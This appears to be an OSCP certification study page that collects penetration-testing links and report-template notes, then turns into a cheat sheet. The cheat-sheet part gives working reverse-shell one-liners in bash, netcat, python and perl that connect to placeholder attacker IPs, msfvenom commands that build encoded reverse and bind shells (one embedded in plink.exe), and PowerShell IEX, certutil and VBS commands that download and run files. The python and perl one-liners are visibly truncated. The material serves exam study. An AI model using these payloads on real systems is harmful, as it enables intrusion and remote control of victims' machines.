https://hackercool.com/2016/07/smb-enumeration-with-kali-linux-enum4linuxacccheck-smbmap/

https://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-part-1-getting-started-0169854/

http://0daysecurity.com/penetration-testing/enumeration.html

Cheat Sheets for All the Things!!!!!!!

https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf

https://highon.coffee/blog/nmap-cheat-sheet/

http://www.cheat-sheets.org/saved-copy/Notepad++_Cheat_Sheet.pdf

http://www.isical.ac.in/~pdslab/2016/lectures/bash_cheat_sheet.pdf

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

https://www.sans.org/security-resources/GoogleCheatSheet.pdf

https://www.tunnelsup.com/python-cheat-sheet/

https://www.tunnelsup.com/metasploit-cheat-sheet/

Reverse and Bind Shell tutorials

http://resources.infosecinstitute.com/icmp-reverse-shell/#gref

Text Editor Cheat Sheets

https://vim.rtorr.com/ - Vim

#OSCP Report Template

OSCP Report Templates

This repo contains my templates for the OSCP Lab and OSCP Exam Reports. The reports are nearly identical, with minor variations between them.

I wanted to share these templates with the community to help alleviate some of the stress people feel when they start their report.

Notable Edits - Lab Report

1. Updated version to 3.2
2. Updated the Table of Contents to reflect the new data flow of the document
3. Added more information to the High Level Summary
4. Added a total of 10 machine sections. (Copy and paste these if you are reporting more than the 10 machines required for the lab report)
5. Updated 3.1 Information Gathering (For each machine, I create a link to the associated machine)

6. Updated the documentation flow. Each Machine is given its own section. Creates a boot to root walkthrough feel for each machine
7. Added the Service Enumeration table to each machine section instead of one table for the entire report
8. Added a header for Nmap scan results (screenshot)
9. Added a header for Initial Shell Screenshot
10. Added headers for Proof.txt Contents and the Proof.txt Screenshot
11. Added Appendix 1 - Proof Contents. This is an easy way to track those keys
12. Added Appendix 2 - PWK Course Exercises
13. Included all the headers for the requested exercises. The exercises are not included, as they are present in the course material

Notable Edits - Exam Report

1. Updated version to 3.2
2. Updated the Table of Contents to reflect the new data flow of the document
3. Added more information to the High Level Summary
4. Updated 3.1 Information Gathering (For each machine, I create a link to the associated machine)
5. Updated the documentation flow. Each Machine is given its own section. Creates a boot to root walkthrough feel for each machine
6. Added the Service Enumeration table to each machine section instead of one table for the entire report
7. Added a header for Nmap scan results (screenshot)
8. Added headers for Local.txt Contents (the hash) and Local.txt Screenshot
9. Added headers for Proof.txt Contents and the Proof.txt Screenshot
10. Created a machine entry for the Buffer Overflow machine.
11. Added Appendix 1 - Proof and Local Contents. This is an easy way to track those keys
12. Added Appendix 2 - Metasploit/Meterpreter Usage. If you use the allowance on the exam, this is an easy way to document it
13. Added Appendix 3 - Completed Buffer Overflow Code

Notice

Original template was created by Offensive Security and can be found here: https://www.offensive-security.com/pwk-online/PWKv1-REPORT.doc

OSCP Exam Report Template Download https://github.com/whoisflynn/OSCP-Exam-Report-Template/blob/master/OSCP-OS-XXXXX-Exam-Report_Template3.2.docx?raw=true

OSCP Lab Report Template Download https://github.com/whoisflynn/OSCP-Exam-Report-Template/blob/master/OSCP-OS-XXXXX-Lab-Report_Template3.2.docx?raw=true

---

USEFUL LINKS

Resource for developing infosec skills for upcoming OSCP exam

OSCP Rules & Documents

Exam Guide

Practice

Exploit Exercises

OverTheWire - Wargames

Hack This Site

Flare-On

Reverse Engineering Challenges

CTF Learn

Mystery Twister - Crypto Challenges

Buffer Overflows

Buffer Overflow Practice

Simple Windows BOF

Fuzzy Security - Windows Exploit Development

dostackbufferoverflowgood - easy to read

Exploit Exercises

Corelan's exploit writing tutorial

Live Overflow's Binary Hacking Videos

Introduction to 32-bit Windows Buffer Overflows

Getting Started with x86 Linux Buffer Overflows

Binary Exploitation

Binary Exploitation ELI5

Exploit Development Roadmap

General OSCP Guides/Resources

Real Useful OSCP Journey

Tulpa PWK Prep

Tulpa PWK Prep PDF

Abatchy's Guide (apparently pretty good!)

Real good guide with many an info

Infosec News / Publications

Security Affairs

The Register

Risky Biz

Vectra

Infosec Blogs

Nii Consulting

Guido Vranken

SecJuice

OSCP Reviews/Writeups

~~Process Focused Review~~

~~Full marks in 90 days~~

Zero to OSCP in 292 days (still somewhat relevant)

31-Day OSCP - with some useful info

Fuzzing

Fuzzing Adobe Reader

Reverse Engineering

Reverse Engineering x64 for Beginners

Backdoor - Reverse Engineering CTFs

Begin Reverse Engineering: workshop

Pivoting

The Red Teamer's Guide to Pivoting

Github Disovered OSCP Tools/Resources

Lots of OSCP Materials

Collection of things made during OSCP journey

Notes from Study Plan

Resource List - not overly thorough

Personal Notes for OSCP & Course

Buffer Overflow Practice

OSCP Cheat Sheet

Bunch of interesting 1-liners and notes

How to teach yourself infosec

Non-Preinstalled Kali Tools

Doubletap - loud/fast scanner

Reconnoitre - recon for OSCP

Pandora's Box - bunch of tools

SleuthQL - SQLi Discovery Tool

Commix - Command Injection Exploiter

Source Code Review / Analysis

Static Analysis Tools

Malware Analysis

Malware Analysis for Hedgehogs (YouTube)

Misc

Windows Kernel Exploitation

Bunch of interesting tools/commands

Forensics Field Guide

Bug Bounty Hunter's Methodology

Fantastic lecture resource for learning assembly

Awesome WAF bypass/command execution filter bypass

General Links

- Exploit interpreter fix: https://askubuntu.com/questions/304999/not-able-to-execute-a-sh-file-bin-bashm-bad-interpreter
- Oscp repo: https://github.com/rewardone/OSCPRepo
- Pentest compilation: https://github.com/adon90/pentest_compilation
- Command Templates: https://pentest.ws
- Password Lists: https://github.com/danielmiessler/SecLists
- Automated OSCP reconnaissance tool: https://github.com/codingo/Reconnoitre
- OSCP Report Template: https://github.com/whoisflynn/OSCP-Exam-Report-Template
- OSCP Scripts: https://github.com/ihack4falafel/OSCP
- Pentesting resource: https://guif.re/
- FTP Binary mode: https://www.jscape.com/blog/ftp-binary-and-ascii-transfer-types-and-the-case-of-corrupt-files
- Pentesting Cheatsheet: https://ired.team/

Enumeration

- General Enumeration - Common port checks: http://www.0daysecurity.com/penetration-testing/enumeration.html
- Nmap Scripts: https://nmap.org/nsedoc/

Web

- LFI/RFI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#basic-rfi
- MSSQL Injection: https://www.exploit-db.com/papers/12975
  - MSSQL Union Based Injection: http://www.securityidiots.com/Web-Pentest/SQL-Injection/MSSQL/MSSQL-Union-Based-Injection.html
  - MSSQL SQL Injection Cheat Sheet: http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
- MySQL Injection: http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- MongoDB Nosql Injection: https://security.stackexchange.com/questions/83231/mongodb-nosql-injection-in-python-code
  - http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- https://guif.re/webtesting

Shell Exploitation

- Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  - More Reverse Shells: https://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
  - Even More Reverse shells: https://delta.navisec.io/reverse-shell-reference/
- Spawning TTY Shell: https://netsec.ws/?p=337
- Metasploit payloads (msfvenom): https://netsec.ws/?p=331
- Best Web Shells: https://www.1337pwn.com/best-php-web-shells/
  - https://github.com/artyuum/Simple-PHP-Web-Shell
  - http://www.topshellv.com/

- Escape from SHELLcatraz: https://speakerdeck.com/knaps/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells?slide=10

Reverse Shells

- bash -i >& /dev/tcp/10.10.10.10/4443 0>&1
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f
- nc -e /bin/sh 10.10.10.10 4443
- nc -e cmd.exe 10.10.10.10 4443
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4443));os.dup2(s.filer os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- perl -e 'use Socket;$i="10.10.10.10";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_ {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Spawn TTY Shells

- python -c 'import pty; pty.spawn("/bin/sh")'
- echo os.system('/bin/bash')
- /bin/sh -i
- perl —e 'exec "/bin/sh";'
- perl: exec "/bin/sh";
- ruby: exec "/bin/sh"
- lua: os.execute('/bin/sh')
- (From within IRB): exec "/bin/sh"
- (From within vi): :!bash
- (From within vi): :set shell=/bin/bash:shell
- (From within nmap): !sh

msfvenom payloads

- PHP reverse shell: msfvenom -p php/reverse_php LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php
- Java WAR reverse shell: msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war
- Linux bind shell: msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai
- Linux FreeBSD reverse shell: msfvenom -p bsd/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f elf -o shell.elf
- Linux C reverse shell: msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f c
- Windows non staged reverse shell: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o non_staged.exe
- Windows Staged (Meterpreter) reverse shell: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o meterpreter.exe
- Windows Python reverse shell: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f python -o shell.py
- Windows ASP reverse shell: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f asp -e x86/shikata_ga_nai -o shell.asp

- Windows ASPX reverse shell: msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx
- Windows JavaScript reverse shell with nops: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f js_le -e generic/none -n 18
- Windows Powershell reverse shell: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1
- Windows reverse shell excluding bad characters: msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f c -b "\x00\x04" -e x86/shikata_ga_nai
- Windows x64 bit reverse shell: msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -o shell.exe
- Windows reverse shell embedded into plink: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe

File Transfers

`HTTP`

```
# In Kali
python -m SimpleHTTPServer 80

# In reverse shell - Linux
wget 10.10.10.10/file

# In reverse shell - Windows
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10/file.exe','C:\Users\user\Desktop\file.exe')"
```

`FTP`

```
# In Kali
python -m pyftpdlib -p 21 -w

# In reverse shell
echo open 10.10.10.10 > ftp.txt
echo USER anonymous >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET file >> ftp.txt
echo bye >> ftp.txt

# Execute
ftp -v -n -s:ftp.txt

“Name the filename as ‘file’ on your kali machine so that you don’t have to re-write the script multiple names, you can then rename the file on windows.”
```

`TFTP`

```
# In Kali
atftpd --daemon --port 69 /tftp

# In reverse shell
tftp -i 10.10.10.10 GET nc.exe
```

`VBS`

```
If FTP/TFTP fails you, this wget script in VBS is the go to on Windows machines.

# In reverse shell
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

# Execute
cscript wget.vbs http://10.10.10.10/file.exe file.exe
```

Privilege Escalation

Common priviledge escalation exploits and scripts: https://github.com/AusJock/Privilege-Escalation

Linux

- Linux EoP (Best privesc): https://guif.re/linuxeop
- Basic Linux Privilege Escalation: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check
- linuxprivchecker.py: http://www.securitysift.com/download/linuxprivchecker.py
- Linux Enumeration: https://github.com/rebootuser/LinEnum
- pspy: https://github.com/DominicBreuker/pspy
- Linux Priv Checker: https://github.com/sleventyeleven/linuxprivchecker
- Kernel Exploits: https://github.com/lucyoa/kernel-exploits
- PrivEsc binaries: https://gtfobins.github.io/

Windows

- Windows Privilege Escalation Fundamentals: http://www.fuzzysecurity.com/tutorials/16.html
- Windows-Exploit-Suggester: https://github.com/GDSSecurity/Windows-Exploit-Suggester
- winprivesc: https://github.com/joshruppe/winprivesc
- Windows Privilege Escalation Guide: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
- Windows-Privesc: https://github.com/togie6/Windows-Privesc
- WindowsExploits: https://github.com/abatchy17/WindowsExploits
- PowerSploit: https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
- Windows EoP: https://guif.re/windowseop
- OSCP Notes: https://securism.wordpress.com/oscp-notes-privilege-escalation-windows/
- PrivEsc Binaries: https://lolbas-project.github.io/

Offensive Security Links

- OSCP Certification Exam Guide: https://support.offensive-security.com/oscp-exam-guide/
- Proctored Exam Guide: https://www.offensive-security.com/faq/#proc-1
  - https://support.offensive-security.com/proctoring-faq/
- OSCP Exam FAQ: https://forums.offensive-security.com/showthread.php?2191-FAQ-Questions-about-the-OSCP-Exam
- Common Technical Issues: https://forums.offensive-security.com/showthread.php?2190-Common-Technical-Issues
- General Questions: https://forums.offensive-security.com/showthread.php?2189-General-questions-about-the-PWK-course

- Network Introduction Guide: https://support.offensive-security.com/pwk-network-intro-guide/

Books

- RTFM - Red Team Field Manual
- Penetration Testing - A Hands-On Introduction to Hacking
- Metasploit The Penetration Tester's Guide
- Web Application Hacker's Handbook
- PWK Booklet and Video

Kali Machine(Attacking machine)- We need to start the http server to serve the files so that other system can access it.

HTTP Server

python -m SimpleHTTPServer 80python -m http.server 80

TFTP

TFTP can be used to transfer files to/from older Windows OS.

By default installed on : Up to Windows XP and 2003.By default not installed on : Windows 7, Windows 2008, and newer.

`Kali` `apt update && sudo apt install atftp` `mkdir /tftp` `chown nobody: /tftp` `atftpd --daemon --port 69 /tftp`

`Windows` `tftp -i 192.168.1.2 PUT file1.txt` `tftp -i 192.168.1.2 GET file2.txt`

FTP

The below method can be used to transfer file from Linux to Windows. Similar technique can also be used to transfer file from WIndows to Linux but with a little trick.

Place your file(nc.exe in this case)ftphome directory on target linuxReplace the username/password in below with your FTP username/password.

`Linux System(Attacking machine)` `echo open 192.168.1.2 21> file.txt` `echo USER username>> file.txt` `echo password>> file.txt` `echo bin >> file.txt` `echo GET nc.exe >> file.txt` `echo bye >> file.txt`

`Windows (Target machine)` `ftp -v -n -s:file.txt`

Downloads/Transfer file on/to Windows system using scripting language.

VBScript(XP, 2003)

In this first we will echo all these commands in a file wget.vbsIf you are creating this file on windows then it will work fine.If creating on Linux and then transferring to windows then you may face issue sometime, use unix2dos before you transfer it in this case.

`echo strUrl = WScript.Arguments.Item(0) > wget.vbs` `echo StrFile = WScript.Arguments.Item(1) >> wget.vbs` `echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs` `echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs` `echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs` `echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs` `echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs` `echo Err.Clear >> wget.vbs` `echo Set http = Nothing >> wget.vbs` `echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs` `echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs` `echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs` `echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs` `echo http.Open "GET",strURL,False >> wget.vbs` `echo http.Send >> wget.vbs` `echo varByteArray = http.ResponseBody >> wget.vbs` `echo Set http = Nothing >> wget.vbs` `echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs` `echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs` `echo strData = "" >> wget.vbs` `echo strBuffer = "" >> wget.vbs` `echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs` `echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs` `echo Next >> wget.vbs` `echo ts.Close >> wget.vbs`

Using wget.vbs

cscript wget.vbs http://192.168.1.2/xyz.txt xyz.txt

Powershell(Win 7, 2008 and above)

A – If you have fully interactive Powershell session.

`Download file` `powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.2/exploit.exe', 'exploit.exe')`

`Download and execute without saving on disk` `powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.1.2/test.ps1')`

B – If there is no interactive Powershell session.

If we don't have fully interactive shell to launch Powershell we need to create a powershell script and run as a file.

`echo $storageDir = $pwd > wget.ps1` `echo $webclient = New-Object System.Net.WebClient >>wget.ps1` `echo $url = "http://192.168.1.2/exploit.exe" >>wget.ps1` `echo $file = "exploit1-ouput.exe" >>wget.ps1` `echo $webclient.DownloadFile($url,$file) >>wget.ps1`

Finally we can call and run the ps file using below `powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1`

SMB

KaliUse smbserver.py from Impacket. `python smbserver.py ROPNOP /root/yogesh`

Put any files within /root/yogesh folder (exploit.exe in this case)

Windows `copy \192.168.1.2\ROPNOP\exploit.exe` .

CertUtil

Start python http server on Attacker machine

Run below command on Windows(Target) `certutil.exe -urlcache -split -f "http://192.168.1.2/exploit.exe"`

If anyhow you get Netcat, Socat, Wget, Curl on windows then below commands can be used for file transfer.

Netcat

Windows `nc -nlvp 4444 > outputfile.exe`

Kali `nc -nv 192.168.1.2 4444 < /usr/inputfile.exe`

Socat

Kali `socat TCP4-LISTEN:443,fork file:file.txt`

Windows `socat TCP4:192.168.1.2:443 file:file.txt,create`

Wget

Kali `python -m http.server 80` (On the same directory where file is available)

Windows `wget http://192.168.1.2/exploit.exe`

Curl

Kali `python -m http.server 80` (On the same directory where file is available)

Windows `curl http://192.168.1.2/exploit.exe -o exploit.exe`

unzip with openssl if u got the key

openssl enc -d -aes256 -k P3NT35T3RL48 -in backup.tgz.enc -out foo.tgz